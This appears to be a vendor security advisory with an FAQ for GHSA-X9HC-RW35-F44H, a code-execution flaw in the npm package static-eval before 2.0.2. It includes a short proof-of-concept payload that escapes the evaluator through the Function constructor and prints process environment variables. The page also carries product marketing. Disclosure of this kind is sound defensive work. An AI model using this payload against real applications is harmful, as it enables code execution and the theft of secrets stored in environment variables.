GHSA-X9HC-RW35-F44H

Sandbox Breakout / Arbitrary Code Execution in static-eval

Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

GHSA-X9HC-RW35-F44H has a CVSS score of 7.3 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.2); upgrading removes the vulnerable code path.

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1. What is GHSA-X9HC-RW35-F44H? GHSA-X9HC-RW35-F44H is a high-severity code injection vulnerability in static-eval (npm), affecting versions <= 2.0.1. It is fixed in 2.0.2. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is GHSA-X9HC-RW35-F44H? GHSA-X9HC-RW35-F44H has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of static-eval are affected by GHSA-X9HC-RW35-F44H? static-eval (npm) versions <= 2.0.1 is affected.
4. Is there a fix for GHSA-X9HC-RW35-F44H? Yes. GHSA-X9HC-RW35-F44H is fixed in 2.0.2. Upgrade to this version or later.
5. Is GHSA-X9HC-RW35-F44H exploitable, and should I be worried? Whether GHSA-X9HC-RW35-F44H is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-X9HC-RW35-F44H is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-X9HC-RW35-F44H? Upgrade static-eval to 2.0.2 or later.

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